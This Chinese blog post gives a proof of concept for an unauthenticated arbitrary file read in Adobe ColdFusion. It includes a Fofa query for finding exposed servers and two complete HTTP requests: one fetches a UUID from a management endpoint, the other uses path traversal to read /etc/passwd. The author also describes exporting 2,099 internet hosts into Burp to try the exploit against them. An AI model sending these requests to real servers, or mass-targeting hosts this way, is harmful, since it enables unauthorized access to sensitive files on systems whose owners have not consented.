首页 > 其他分享 >Adobe ColdFusion 任意文件读取漏洞

Adobe ColdFusion 任意文件读取漏洞

时间:2024-05-15 21:20:52浏览次数:18  
标签:Adobe 读取 .. ColdFusion Accept 537.36

漏洞描述

由于Adobe ColdFusion的访问控制不当,未经身份认证的远程攻击者可以构造恶意请求读取目标服务器上的任意文件,泄露敏感信息。

Fofa: app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"

POC

通过特定的ColdFusion管理端点获取UUID

GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: yourip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

利用获取到的UUID进行任意文件读取

GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: yourip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 你获得的uuid

漏洞复现

在fofa中搜索资产,共有2099条数据匹配

image-20240515152723081

直接将IP和域名导出用burp进行爆破,但都返回了404

image-20240515152655270

标签:Adobe,读取,..,ColdFusion,Accept,537.36
From: https://www.cnblogs.com/LeouMaster/p/18194717

相关文章

  • Kepware通过OPCDA接入Hellywell DCS读取实时点位数据
    网络架构HellywellDCS系统对外提供的对接协议为OPCDA,因此需要在内网部署采集服务通过OPCDA协议远程读取实时点位数据。采集服务采集到数据后,可以利用Mqtt插件通过5G网络上抛数据到气体服务器。接入流程OPCDA协议接入前,需要DCS服务器首先配置好DCOM配置(这个由DCS厂家......
  • java poi之XWPFDocument读取word内容并创建新的word(获取表格所有图片)
    Poi的Word文档结构介绍1、poi之word文档结构介绍之正文段落一个文档包含多个段落,一个段落包含多个Runs,一个Runs包含多个Run,Run是文档的最小单元获取所有段落:Listparagraphs=word.getParagraphs();获取一个段落中的所有Runs:ListxwpfRuns=xwpfParagraph.getRuns();获取......
  • pandas读取CSV文件时出现警告:DtypeWarning: Columns (2) have mixed types. Specify d
    问题描述:用pandas清洗数据时发现爆出告警,且清洗出来的数据大小格式不对DtypeWarning:Columns(2)havemixedtypes.Specifydtypeoptiononimportorsetlow_memory=False意思是第二列出现类型混乱,原因如下pandas读取csv文件默认是按块读取的,即不一次性全部读取;另外pand......
  • NPOI读取模板文件生成Excel
    前不久实现了用NPOI组件替代Microsoft.Office.Interop.Excel原生组件实现导出数据到Excel的需求,其中踩了几个坑,这里记录一下。不能使用wps创建模板文件不能使用一个文件流,对已存在Excel文件进行修改NPOI中sheet、row、cell都是以0作为起始序号,Office原生组件是以1作为起始序......
  • read读取
    read是一个Bash内置命令,用于从标准输入读取一行,并将其存储到一个或多个变量中。下面是read命令的基本语法:read[-options][variable...]read命令可以与不同的选项和参数一起使用,以满足不同的需求。下面是一些常用的选项和参数:-r:防止反斜杠字符\被解释为转义字符。-......
  • STM32Cube-10 | 使用ADC读取气体传感器数据(MQ-2)
    本篇详细的记录了如何使用STM32CubeMX配置STM32L431RCT6的ADC外设,读取MQ-2气体传感器的数据并通过串口发送本质就是ADC采集MQ-2的原理图如下: 生成MDK工程选择芯片型号打开STM32CubeMX,打开MCU选择器:搜索并选中芯片STM32L431RCT6:配置时钟源如果选择使用外......
  • RAG学习--pdf读取
    RAG流程:线下:1、文档加载2、文档切分3、向量化4、向向量数据库灌数据线上:1、获取用户问题2、用户问题向量化3、检索向量数据库4、将检索结果和问题填充到pomp模板5、用最终获得的pomp调用LLM6、最终由LLM生成回复本篇完成文档加载与切割(pdf加载与切割)1、文档加载......
  • 利用系统IO读取磁盘上指定BMP图片的宽和高以及大小
    文件IO代码/***************************************************************************************filename:1.c*author: [email protected]*date:2024/05/11*function: 利用系统IO读取磁盘上指定BMP图片的宽和高以及大小*......
  • 读取2bit权重进行打印
    printf("w.shape:%s\n",merge_res->filter1.shape().str().c_str());std::cout<<FILE<<LINE<<"name:"<<magik_name<<"filter1.size:"<<filter1_size<<std::endl;//if(false){if(tru......
  • Python环境变量设置与读取
    ★环境变量基本概念环境变量定义 环境变量是操作系统中存储有关操作系统配置信息和应用程序运行环境的动态值的一种机制。环境变量的主要作用是为正在运行的进程提供配置信息,帮助程序找到所需的资源或者确定程序运行的方式。 在操作系统中,每个进程都有自己的环境变量集合。......